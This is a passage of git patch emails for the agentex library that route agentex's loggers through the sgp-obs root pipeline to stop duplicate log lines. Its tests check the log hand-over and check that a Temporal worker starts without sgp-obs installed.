pipeline, not a stand-in: logs on gives one line and it is the governed JSON carrying service.name; logs off gives one line of unchanged agentex text. The subprocess test that asserts two lines WITHOUT the hand-over is the guard that keeps the one-line assertions honest. 134 tests, ruff clean, pyright 0 errors, all with sgp-obs absent. Co-Authored-By: Claude Opus 5 --- .../lib/core/observability/sgp_obs_setup.py | 51 ++++- .../observability/tests/test_sgp_obs_setup.py | 45 +++++ src/agentex/lib/utils/logging.py | 83 ++++++++ src/agentex/lib/utils/tests/__init__.py | 0 .../lib/utils/tests/test_logging_handover.py | 182 ++++++++++++++++++ 5 files changed, 360 insertions(+), 1 deletion(-) create mode 100644 src/agentex/lib/utils/tests/__init__.py create mode 100644 src/agentex/lib/utils/tests/test_logging_handover.py diff --git a/src/agentex/lib/core/observability/sgp_obs_setup.py b/src/agentex/lib/core/observability/sgp_obs_setup.py index 83f779a81..5b76766f5 100644 --- a/src/agentex/lib/core/observability/sgp_obs_setup.py +++ b/src/agentex/lib/core/observability/sgp_obs_setup.py @@ -50,7 +50,11 @@ import os from typing import Any -from agentex.lib.utils.logging import make_logger +from agentex.lib.utils.logging import ( + make_logger, + _reset_for_tests as _logging_reset_for_tests, + route_agentex_loggers_to_root, +) logger = make_logger(__name__) @@ -140,6 +144,9 @@ def init_sgp_obs(app: Any = None) -> str: _status = "disabled" return _status + if "logs" in handles: + _hand_agentex_logging_to_the_pipeline() + if "traces" in handles: _install_openai_agents_bridge() _warn_if_correlation_backend_mismatched() @@ -149,6 +156,44 @@ def init_sgp_obs(app: Any = None) -> str: return _status +def _hand_agentex_logging_to_the_pipeline() -> None: + """Stop agentex's own loggers printing a second, ungoverned copy of every record. + + ``agentex.lib.utils.logging.make_logger`` attaches a handler to each module's own + (leaf) logger. sgp-obs' logs pipeline replaces the handlers on the ROOT logger and + deliberately leaves named loggers alone, because a named logger's handler may be + there on purpose. The two are individually correct and together print everything + twice: once in agentex's plain-text format from the leaf, once as pipeline JSON + from root. Measured on sgp-obs 0.16.0, one ``logger.info()`` gave two stdout lines, + and sgp-obs' boot warning named 63 loggers. + + The duplicate is not merely redundant: it is emitted before the pipeline's filters, + so it carries no ``agent_id``/``task_id``, is not governed by the allowlist, and is + not truncated. + + Only agentex's loggers are handed over — see + :func:`~agentex.lib.utils.logging.route_agentex_loggers_to_root` for why by prefix, + why ``capture_loggers=`` is not the mechanism, and why a third party's handler is + left where it is. + """ + try: + cleared = route_agentex_loggers_to_root() + except Exception: # pragma: no cover - telemetry must never break startup + logger.debug("could not hand agentex logging to the sgp-obs pipeline", exc_info=True) + return + + if cleared: + # sgp-obs has already logged its "bypass log governance" warning by this point, + # naming loggers this call has just fixed. Say so, or the two lines read as a + # contradiction to whoever is looking at the pod's first second of output. + logger.info( + "routed %d agentex logger(s) through the sgp-obs logs pipeline; any " + "'bypass log governance' warning above that names agentex.* loggers was " + "emitted before this ran and no longer applies to them", + cleared, + ) + + def _install_openai_agents_bridge() -> bool: """Register sgp-obs' openai-agents trace processor, so a ``Runner`` turn produces logical model-operation spans. @@ -299,3 +344,7 @@ async def shutdown_sgp_obs() -> None: def _reset_for_tests() -> None: global _status _status = None + # The logging hand-over is a process-wide latch too, and a test that wired the + # logs signal would otherwise leave make_logger attaching nothing for the rest + # of the session. + _logging_reset_for_tests() diff --git a/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py b/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py index 14f8f42b3..34d2ef3ad 100644 --- a/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py +++ b/src/agentex/lib/core/observability/tests/test_sgp_obs_setup.py @@ -400,3 +400,48 @@ def boom(): monkeypatch, init=lambda **_kwargs: {"traces": object()}, bridge=boom ) assert init_sgp_obs() == "wired:traces" + + +class TestLoggingHandover: + """agentex's make_logger attaches a handler to each module's own logger; sgp-obs' + logs pipeline owns the ROOT logger and deliberately leaves named loggers alone. Both + then print, so every record appears twice — and the agentex copy is emitted before + the pipeline's filters, so it carries no agent_id/task_id, is not governed by the + allowlist, and is not truncated. + """ + + @staticmethod + def _spy(monkeypatch): + calls = [] + monkeypatch.setattr( + sgp_obs_setup, "route_agentex_loggers_to_root", lambda: calls.append(True) or 1 + ) + return calls + + def test_handover_runs_when_the_logs_signal_is_wired(self, monkeypatch): + calls = self._spy(monkeypatch) + _fake_sgp_obs(monkeypatch, lambda **_kwargs: {"logs": object()}) + assert init_sgp_obs() == "wired:logs" + assert calls == [True] + + def test_no_handover_when_logs_are_not_wired(self, monkeypatch): + """Nothing owns the root logger in that case, so stripping the leaf handlers + would send agentex's records nowhere at all.""" + calls = self._spy(monkeypatch) + _fake_sgp_obs(monkeypatch, lambda **_kwargs: {"metrics": object()}) + assert init_sgp_obs() == "wired:metrics" + assert calls == [] + + def test_no_handover_when_sgp_obs_is_absent(self, monkeypatch): + calls = self._spy(monkeypatch) + _block_sgp_obs_import(monkeypatch) + assert init_sgp_obs() == "not_installed" + assert calls == [] + + def test_a_failing_handover_does_not_stop_startup(self, monkeypatch): + def boom(): + raise RuntimeError("logging registry is in a strange state") + + monkeypatch.setattr(sgp_obs_setup, "route_agentex_loggers_to_root", boom) + _fake_sgp_obs(monkeypatch, lambda **_kwargs: {"logs": object()}) + assert init_sgp_obs() == "wired:logs" diff --git a/src/agentex/lib/utils/logging.py b/src/agentex/lib/utils/logging.py index a0d39331b..fd97fc072 100644 --- a/src/agentex/lib/utils/logging.py +++ b/src/agentex/lib/utils/logging.py @@ -13,6 +13,25 @@ DEFAULT_LOG_LEVEL = logging.INFO +# Every logger this module hands out is a LEAF (``make_logger(__name__)``), and until +# now each one carried its own handler. That is fine on its own, but an observability +# pipeline that owns the ROOT logger -- sgp-obs replaces the root handler list -- then +# prints a SECOND copy of every record: once here, and once more when the record +# propagates to root. Measured on sgp-obs 0.16.0: one ``logger.info()`` produced two +# stdout lines, and sgp-obs' own boot warning named 63 loggers "bypassing log +# governance". The plain-text copy also skips the pipeline's enrichment (agent_id, +# task_id), its allowlist and its truncation, so it is not merely redundant. +# +# While this is True, ``make_logger`` attaches nothing and the record reaches the root +# pipeline by propagation alone. ``sgp_obs_setup`` sets it via +# :func:`route_agentex_loggers_to_root` -- nothing else may. +_ROOT_PIPELINE_OWNS_LOGGING = False + +# Handlers are cleared by prefix rather than by an enumerated list: the names are +# module paths, several agentex modules are imported LAZILY, and any list would be a +# snapshot that goes stale the moment one of them loads. +_PACKAGE_ROOT = "agentex" + def resolve_log_level() -> int: """Read the log level from ``LOG_LEVEL``, falling back to INFO. @@ -72,6 +91,13 @@ def make_logger(name: str) -> logging.Logger: logger = logging.getLogger(name) logger.setLevel(resolve_log_level()) + if _ROOT_PIPELINE_OWNS_LOGGING: + # A handler here would be the second one on this record's path to stdout. + # The level above is deliberately still applied: LOG_LEVEL is what agent + # authors set, and letting the pipeline's own threshold silently replace it + # would change behaviour nobody asked to change. + return logger + environment = os.getenv("ENVIRONMENT") if environment == "local": console = Console() @@ -96,3 +122,60 @@ def make_logger(name: str) -> logging.Logger: logger.addHandler(stream_handler) # Create a logger object with the name of the current module return logger + + +def route_agentex_loggers_to_root() -> int: + """Hand agentex's logging over to whatever owns the root logger. Returns the + number of loggers cleared. + + Two halves, and BOTH are needed -- measured, one line per ``logger.info()`` only + when they run together: + + * the sweep below fixes the loggers that ALREADY exist, i.e. every agentex module + imported before this ran; + * the flag fixes every logger created AFTER it, which a sweep cannot reach. + agentex imports several modules lazily (the adk ``_claude_code_sync`` / + ``_codex_sync`` / ``_pydantic_ai_sync`` harnesses among them), so their + ``make_logger`` call happens later and would attach a fresh duplicate handler. + + sgp-obs offers ``capture_loggers=`` for the first half, and it is deliberately not + used: it matches EXACT logger names, not prefixes (measured -- passing + ``("agentex",)`` still produced two lines), so it would mean enumerating ~60 module + paths; and passing anything at all replaces its uvicorn default, which would put + uvicorn's access log back to printing twice. + + Only agentex's own loggers are touched. A third party's handler may be there on + purpose -- which is exactly why sgp-obs warns about them rather than stripping them + -- so litellm's three loggers and anything else keep whatever they have. + """ + global _ROOT_PIPELINE_OWNS_LOGGING + _ROOT_PIPELINE_OWNS_LOGGING = True + + cleared = 0 + # list() snapshots the registry: a getLogger() on another thread would otherwise + # mutate the dict mid-iteration. + for name, existing in list(logging.Logger.manager.loggerDict.items()): + if not isinstance(existing, logging.Logger): + continue # a PlaceHolder for a name whose children exist but itself does not + if name != _PACKAGE_ROOT and not name.startswith(_PACKAGE_ROOT + "."): + continue + if not existing.handlers: + continue + if not existing.propagate: + # Deliberately cut off from root, so nothing of its reaches the pipeline. + # Clearing its handlers would send its records NOWHERE -- worse than a + # duplicate. Leave it exactly as its owner set it up. + continue + for handler in list(existing.handlers): + try: + handler.flush() # a buffering handler must not lose records on removal + except Exception: + pass + existing.removeHandler(handler) + cleared += 1 + return cleared + + +def _reset_for_tests() -> None: + global _ROOT_PIPELINE_OWNS_LOGGING + _ROOT_PIPELINE_OWNS_LOGGING = False diff --git a/src/agentex/lib/utils/tests/__init__.py b/src/agentex/lib/utils/tests/__init__.py new file mode 100644 index 000000000..e69de29bb diff --git a/src/agentex/lib/utils/tests/test_logging_handover.py b/src/agentex/lib/utils/tests/test_logging_handover.py new file mode 100644 index 000000000..4a7205afb --- /dev/null +++ b/src/agentex/lib/utils/tests/test_logging_handover.py @@ -0,0 +1,182 @@ +"""Tests for handing agentex's loggers over to a root logging pipeline. + +``make_logger`` attaches a handler to each module's OWN (leaf) logger. sgp-obs' logs +pipeline replaces the handlers on the ROOT logger and deliberately leaves named loggers +alone, on the grounds that a named logger's handler may be there on purpose. Each is +defensible; together they print every record twice — once in agentex's plain text from +the leaf, once as pipeline JSON from root. Measured on sgp-obs 0.16.0: one +``logger.info()`` produced two stdout lines and sgp-obs named 63 loggers as "bypassing +log governance". + +The duplicate is not merely redundant. It is emitted before the pipeline's filters, so +it carries no ``agent_id``/``task_id``, is not governed by the allowlist, and is not +truncated. + +The fix has two halves and needs both, which is what the subprocess tests pin: + +* the sweep clears loggers that ALREADY exist when it runs; +* the latch stops ``make_logger`` attaching to loggers created AFTERWARDS. + +A sweep alone misses the second: agentex imports several harness modules lazily, so +their ``make_logger`` runs later and would attach a fresh duplicate. +""" + +from __future__ import annotations + +import os +import sys +import logging +import textwrap +import subprocess +from typing import override +from pathlib import Path + +import pytest + +from agentex.lib.utils import logging as agentex_logging +from agentex.lib.utils.logging import make_logger, route_agentex_loggers_to_root + +_SRC = Path(__file__).resolve().parents[4] + + +@pytest.fixture(autouse=True) +def _restore_logging(): + """The latch and the loggers are process-wide; put both back.""" + saved = { + name: (obj.handlers[:], obj.propagate) + for name, obj in logging.Logger.manager.loggerDict.items() + if isinstance(obj, logging.Logger) + } + try: + yield + finally: + agentex_logging._reset_for_tests() + for name, (handlers, propagate) in saved.items(): + existing = logging.Logger.manager.loggerDict.get(name) + if isinstance(existing, logging.Logger): + existing.handlers[:] = handlers + existing.propagate = propagate + + +def _run(handover: bool) -> str: + """One trial in its own process — root-logger state is global and cannot be + isolated within a test session. Returns stdout+stderr.""" + program = textwrap.dedent( + f""" + import logging, sys + from agentex.lib.utils.logging import make_logger, route_agentex_loggers_to_root + + # Exists BEFORE the handover, like any eagerly-imported agentex module. + before = make_logger("agentex.lib.probe.before") + + # Stand in for sgp-obs' pipeline: a single handler on ROOT. + root = logging.getLogger() + root.handlers[:] = [logging.StreamHandler(sys.stdout)] + root.setLevel(logging.INFO) + + if {handover!r}: + route_agentex_loggers_to_root() + + # Created AFTER, like one of the lazily-imported harness modules. + after = make_logger("agentex.lib.probe.after") + + before.info("MARKER-BEFORE") + after.info("MARKER-AFTER") + """ + ) + proc = subprocess.run( + [sys.executable, "-c", program], + capture_output=True, + text=True, + timeout=60, + env={**os.environ, "PYTHONPATH": str(_SRC), "LOG_LEVEL": "INFO", "ENVIRONMENT": "production"}, + ) + assert proc.returncode == 0, proc.stderr[-2000:] + return proc.stdout + proc.stderr + + +class TestEveryRecordIsPrintedOnce: + def test_without_the_handover_everything_doubles(self): + """The bug, pinned. If this ever reads 1, the other two tests below have + stopped proving anything.""" + out = _run(handover=False) + assert out.count("MARKER-BEFORE") == 2 + assert out.count("MARKER-AFTER") == 2 + + def test_a_logger_created_before_the_handover_prints_once(self): + out = _run(handover=True) + assert out.count("MARKER-BEFORE") == 1 + + def test_a_logger_created_after_the_handover_prints_once(self): + """The half a sweep cannot reach: agentex imports harness modules lazily, so + their make_logger runs after init and would attach a fresh duplicate.""" + out = _run(handover=True) + assert out.count("MARKER-AFTER") == 1 + + +class TestTheSweepIsNarrow: + def test_it_clears_an_agentex_logger_that_has_a_handler(self): + lg = logging.getLogger("agentex.lib.probe.sweep") + lg.addHandler(logging.NullHandler()) + assert route_agentex_loggers_to_root() >= 1 + assert lg.handlers == [] + + def test_it_leaves_other_packages_alone(self): + """A third party's handler may be deliberate — which is exactly why sgp-obs + warns about them rather than stripping them.""" + other = logging.getLogger("litellm.probe") + handler = logging.NullHandler() + other.addHandler(handler) + route_agentex_loggers_to_root() + assert other.handlers == [handler] + + def test_it_leaves_a_non_propagating_agentex_logger_alone(self): + """Cut off from root on purpose, so nothing of its reaches the pipeline. + Clearing its handlers would send its records NOWHERE — worse than a duplicate.""" + lg = logging.getLogger("agentex.lib.probe.isolated") + handler = logging.NullHandler() + lg.addHandler(handler) + lg.propagate = False + route_agentex_loggers_to_root() + assert lg.handlers == [handler] + + def test_a_prefix_lookalike_is_not_swept(self): + """`agentexfoo` is a different package, not a child of `agentex`.""" + lg = logging.getLogger("agentexfoo.probe") + handler = logging.NullHandler() + lg.addHandler(handler) + route_agentex_loggers_to_root() + assert lg.handlers == [handler] + + def test_handlers_are_flushed_before_removal(self): + """A buffering handler would otherwise lose whatever it was holding.""" + flushed = [] + + class Recording(logging.NullHandler): + @override + def flush(self): + flushed.append(True) + + lg = logging.getLogger("agentex.lib.probe.flush") + lg.addHandler(Recording()) + route_agentex_loggers_to_root() + assert flushed == [True] + + +class TestMakeLoggerRespectsTheLatch: + def test_it_attaches_nothing_once_the_pipeline_owns_logging(self): + route_agentex_loggers_to_root() + assert make_logger("agentex.lib.probe.after_latch").handlers == [] + + def test_it_still_attaches_when_nothing_owns_logging(self): + """The non-negotiable half: an agent without sgp-obs must log exactly as it + did before any of this existed.""" + agentex_logging._reset_for_tests() + assert make_logger("agentex.lib.probe.no_latch").handlers != [] + + def test_the_level_is_applied_either_way(self, monkeypatch): + """LOG_LEVEL is what agent authors set; letting the pipeline's own threshold + silently replace it would change behaviour nobody asked to change.""" + monkeypatch.setenv("LOG_LEVEL", "DEBUG") + route_agentex_loggers_to_root() + assert make_logger("agentex.lib.probe.level").level == logging.DEBUG From f963ea5212c2966fddb8cfa9fbac4466acd7c5c3 Mon Sep 17 00:00:00 2001 From: Sirui Wang Date: Tue, 15 Sep 2026 08:11:52 -0700 Subject: [PATCH 15/15] test(obs): exercise the worker's obs path, don't just read its source MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit The two existing worker tests assert on `inspect.getsource(AgentexWorker.run)` — they pin that init_sgp_obs() and both drains are CALLED, which is worth pinning, but they cannot catch a call that is written correctly and then raises. So the claim "a Temporal worker starts fine without the broker token" rested on source inspection, not on the path having been run. That matters because a build with no broker token produces an image with no sgp-obs in it, and for a Temporal agent the model calls happen in the worker process — the one this PR newly touches. Now exercised for real with the import blocked: the module imports, an AgentexWorker constructs, init_sgp_obs() returns not_installed, and both drains complete with nothing ever wired. Verified by hand first, at which point it passed — so this is a guard rather than a fix. Keeps the source-inspection tests alongside it: one proves the wiring exists, the other proves it is harmless. Neither alone is enough. 137 tests, ruff clean, pyright 0 errors, all with sgp-obs absent. Co-Authored-By: Claude Opus 5 --- .../fastacp/base/tests/test_shutdown_hooks.py | 53 +++++++++++++++++++ 1 file changed, 53 insertions(+) diff --git a/src/agentex/lib/sdk/fastacp/base/tests/test_shutdown_hooks.py b/src/agentex/lib/sdk/fastacp/base/tests/test_shutdown_hooks.py index 778b8d806..fe9cfbe28 100644 --- a/src/agentex/lib/sdk/fastacp/base/tests/test_shutdown_hooks.py +++ b/src/agentex/lib/sdk/fastacp/base/tests/test_shutdown_hooks.py @@ -16,6 +16,22 @@ ) +def _block_sgp_obs_import(monkeypatch): + """Make `import sgp_obs` fail, i.e. the image a tokenless build produces.""" + import sys + import builtins + + monkeypatch.delitem(sys.modules, "sgp_obs", raising=False) + real_import = builtins.__import__ + + def blocked(name, *args, **kwargs): + if name == "sgp_obs" or name.startswith("sgp_obs."): + raise ImportError("No module named 'sgp_obs'") + return real_import(name, *args, **kwargs) + + monkeypatch.setattr(builtins, "__import__", blocked) + + class _Processor: def __init__(self, explode: bool = False) -> None: self.calls = 0 @@ -247,3 +263,40 @@ def shutdown(self): f"process took {elapsed:.1f}s to exit with a 30s stalled flush and a " "0.25s budget; the flush thread is blocking interpreter shutdown" ) + + +class TestTheWorkerObsPathRunsWithoutSgpObs: + """The image a build with NO broker token produces has no sgp-obs in it, and a + Temporal agent's model calls happen in this process. + + The two tests above pin that ``run()`` *calls* these, by reading its source. That + cannot catch a call that is written correctly and then raises, so this exercises the + sequence for real. Together: one proves the wiring exists, the other proves it is + harmless. + """ + + def test_the_worker_module_imports_and_constructs(self): + from agentex.lib.core.temporal.workers.worker import AgentexWorker + + # port 0 so nothing binds a real health port during the test + assert AgentexWorker(task_queue="probe", health_check_port=0) is not None + + async def test_init_and_both_drains_are_inert(self, monkeypatch): + """Exactly what ``run()`` does: init at entry, both drains in its finally — + with nothing wired, which is every agent that has not adopted.""" + from agentex.lib.core.observability import sgp_obs_setup + from agentex.lib.core.observability.sgp_obs_setup import ( + init_sgp_obs, + shutdown_sgp_obs, + ) + + monkeypatch.delenv("SGP_OBS_ENABLED", raising=False) + sgp_obs_setup._reset_for_tests() + try: + _block_sgp_obs_import(monkeypatch) + assert init_sgp_obs() == "not_installed" + # Neither drain may raise just because nothing was ever wired. + await shutdown_sync_tracing_processors() + await shutdown_sgp_obs() + finally: + sgp_obs_setup._reset_for_tests()